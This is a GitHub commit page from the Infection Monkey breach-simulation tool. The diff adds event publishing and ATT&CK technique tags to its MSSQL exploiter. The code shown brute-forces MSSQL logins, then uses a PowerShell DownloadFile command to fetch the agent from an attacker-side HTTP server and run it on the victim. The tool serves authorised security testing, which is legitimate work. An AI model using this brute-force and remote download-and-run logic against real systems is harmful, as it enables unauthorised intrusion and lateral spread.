Skip to content

Commit

Permalink
Merge branch '2269-publish-events-for-mssql-exploiter' into develop
Browse files Browse the repository at this point in the history
  • Loading branch information
mssalvatore committed Oct 7, 2022
2 parents 3b225a9 + a558948 commit 6d60e33
Show file tree
Hide file tree
Showing 2 changed files with 44 additions and 14 deletions.
55 changes: 42 additions & 13 deletions monkey/infection_monkey/exploit/mssqlexec.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,18 @@
import logging
from pathlib import PureWindowsPath
from time import sleep
from typing import Sequence, Tuple
from time import sleep, time
from typing import Iterable, Optional, Tuple

import pymssql

from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
Expand All @@ -20,6 +26,8 @@

logger = logging.getLogger(__name__)

MSSQL_EXPLOITER_TAG = "mssql-exploiter"


class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL"
Expand All @@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
)

_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)

def __init__(self):
super().__init__()
self.cursor = None
self.agent_http_path = None

def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = get_agent_dst_path(self.host)
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))

# Brute force to get connection
creds = generate_identity_secret_pairs(
Expand All @@ -52,16 +67,18 @@ def _exploit_host(self) -> ExploiterResultData:
try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError:
logger.info(
error_message = (
f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful"
)
logger.error(error_message)
return self.exploit_result

if self._is_interrupted():
self._set_interrupted()
return self.exploit_result

timestamp = time()
try:
self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim)
Expand All @@ -72,15 +89,17 @@ def _exploit_host(self) -> ExploiterResultData:
)

logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message

return self.exploit_result

self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True
return self.exploit_result

def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
) -> pymssql.Cursor:
"""
Starts the brute force connection attempts and if needed then init the payload process.
Expand All @@ -106,6 +125,7 @@ def _brute_force(
)

for user, password in credentials_iterator:
timestamp = time()
try:
# Core steps
# Trying to connect
Expand All @@ -122,14 +142,14 @@ def _brute_force(
)
self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
self._report_login_attempt(timestamp, True, user, password)
cursor = conn.cursor()

return cursor
except pymssql.OperationalError as err:
logger.info(f"Connection to MSSQL failed: {err}")
self.report_login_attempt(False, user, password)
# Combo didn't work, hopping to the next one
pass
error_message = f"Connection to MSSQL failed: {err}"
logger.info(error_message)
self._report_login_attempt(timestamp, False, user, password, error_message)

logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, "
Expand All @@ -139,14 +159,23 @@ def _brute_force(
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
)

def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)

def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim)

self._run_agent_download_command(agent_path_on_victim)

MSSQLExploiter._stop_agent_server(http_thread)
if http_thread:
MSSQLExploiter._stop_agent_server(http_thread)

def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
def _start_agent_server(
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository
)
Expand Down Expand Up @@ -179,7 +208,7 @@ def _run_agent(self, agent_path_on_victim: PureWindowsPath):

def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, agent_path_on_victim
self.servers, self.current_depth + 1, str(agent_path_on_victim)
)

return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
3 changes: 2 additions & 1 deletion monkey/infection_monkey/exploit/tools/http_tools.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
import urllib.parse
import urllib.request
from threading import Lock
from typing import Optional, Tuple

from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
Expand All @@ -28,7 +29,7 @@ def try_create_locked_transfer(
@staticmethod
def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> LockedHTTPServer:
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
Expand Down

0 comments on commit 6d60e33

Please sign in to comment.